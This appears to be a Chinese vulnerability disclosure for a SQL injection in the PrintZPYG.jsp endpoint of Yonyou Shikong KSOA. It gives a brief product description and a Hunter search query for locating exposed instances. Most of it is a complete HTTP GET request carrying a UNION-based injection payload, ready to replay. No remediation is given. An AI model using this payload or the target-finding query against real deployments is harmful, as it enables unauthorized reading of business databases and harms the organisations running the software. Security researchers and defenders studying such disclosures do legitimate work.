用友时空KSOA PrintZPYG存在SQL注入漏洞
一、漏洞简介
<font style="color:rgba(0, 0, 0, 0.9);">用友时空KSOA是建立在SOA理念指导下研发的新一代产品，是根据流通企业最前沿的I需求推出的统一的IT基础架构，它可以让流通企业各个时期建立的IT系统之间彼此轻松对话，帮助流通企业保护原有的IT投资，简化IT管理，提升竞争能力，确保企业整体的战略目标以及创新活动的实现。用友时空KSOA平台PrintZPYG存在SQL注入漏洞。</font>
<font style="color:rgba(0, 0, 0, 0.9);">二、影响版本</font>
- 用友时空KSOA
资产测绘
- hunter
app.name="用友时空 KSOA"
- 登录页面
四、漏洞复现
GET /kp/PrintZPYG.jsp?zpjhid=1%27+UNION+ALL+SELECT+NULL%2CCHAR%28113%29%2BCHAR%28112%29%2BCHAR%28107%29%2BCHAR%28113%29%2BCHAR%28113%29%2BCHAR%28114%29%2BCHAR%2876%29%2BCHAR%2871%29%2BCHAR%2874%29%2BCHAR%28114%29%2BCHAR%28118%29%2BCHAR%2879%29%2BCHAR%28111%29%2BCHAR%28100%29%2BCHAR%2898%29%2BCHAR%28105%29%2BCHAR%28109%29%2BCHAR%2880%29%2BCHAR%2880%29%2BCHAR%28117%29%2BCHAR%2885%29%2BCHAR%2868%29%2BCHAR%28106%29%2BCHAR%28116%29%2BCHAR%2897%29%2BCHAR%2883%29%2BCHAR%28106%29%2BCHAR%28120%29%2BCHAR%28109%29%2BCHAR%28107%29%2BCHAR%28119%29%2BCHAR%2874%29%2BCHAR%28117%29%2BCHAR%28108%29%2BCHAR%28106%29%2BCHAR%2887%29%2BCHAR%2887%29%2BCHAR%28121%29%2BCHAR%28112%29%2BCHAR%2868%29%2BCHAR%2882%29%2BCHAR%2866%29%2BCHAR%28105%29%2BCHAR%2873%29%2BCHAR%2881%29%2BCHAR%28113%29%2BCHAR%2898%29%2BCHAR%28122%29%2BCHAR%28112%29%2BCHAR%28113%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL--+xiZz HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
